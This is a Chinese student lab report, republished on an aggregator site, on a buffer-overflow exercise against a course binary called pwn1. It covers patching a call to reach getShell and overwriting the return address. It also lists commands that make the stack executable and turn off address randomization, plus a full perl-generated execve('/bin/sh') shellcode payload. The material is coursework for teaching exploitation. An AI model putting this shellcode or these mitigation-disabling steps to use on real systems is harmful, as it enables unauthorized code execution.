ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20212810 2021-2022-2 《网络攻防实践》实践九报告

2022-05-14 21:32:22  阅读:140  来源: 互联网

标签:x90 getShell 函数 实践 地址 2021 2022 shellcode


20212810 2021-2022-2 《网络攻防实践》实践九报告

软件安全攻防--缓冲区溢出和shellcode

一.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

二.实践过程

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 下载目标文件pwn1,反汇编。

    由图可知call指令调用foo函数,此时eip的值为80484ba,若想让call指令改为调用getShell函数,只需计算getShell-80484ba对应的补码再进行替换。计算结果为c3ffffff

  • 接下来修改可执行文件
    在16进制下将d7更改为c3

  • 更改后再次反汇编查看
    发现call指令改为调用getShell函数了

  • 运行20212810pwn1,实验成功。

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 确认输入字符串哪几个字符会覆盖到返回地址

  • 通过eip的值发现5678这四个数最终会覆盖到堆栈上的返回地址,只需把这四个字符替换为 getShell 的内存地址即可。
    构造输入字符串
    通过之前的反汇编可知替换为\x7d\x84\x04\x08即可修改返回地址,调用getShell函数。由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    用16进制查看指令xxd查看input文件的内容是否如预期。

    然后将input的输入,通过管道符“|”,作为20212810pwn2的输入。

3. 注入一个自己制作的shellcode并运行这段shellcode。

  • 准备工作:设置堆栈可执行
    apt-get install execstack //安装execstack命令
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

  • 关闭地址随机化
    echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化

  • 构造要注入的payload

接下来确定\x4\x3\x2\x1到底该填什么:
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20212810pwn2

再开另外一个终端,用gdb来调试pwn这个进程:
用ps -ef | grep 20212810pwn2命令找到pwn的进程号12803

  • 启动gdb调试这个进程
    然后反汇编foo函数,查看返回指令(ret)的地址

并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行

用x/16x 0xffffd16c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd170:

  • 修改文件中代码为

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:

成功

三.学习中遇到的问题及解决

设置堆栈时出现问题

解决方法:不知道为什么,过了几天做又可以了。

四.实践总结

这次作业相对轻松。但是有时候还存在很多编写错误,有空还需要多动手实践一下。

标签:x90,getShell,函数,实践,地址,2021,2022,shellcode
来源: https://www.cnblogs.com/bzhuihui/p/16271572.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有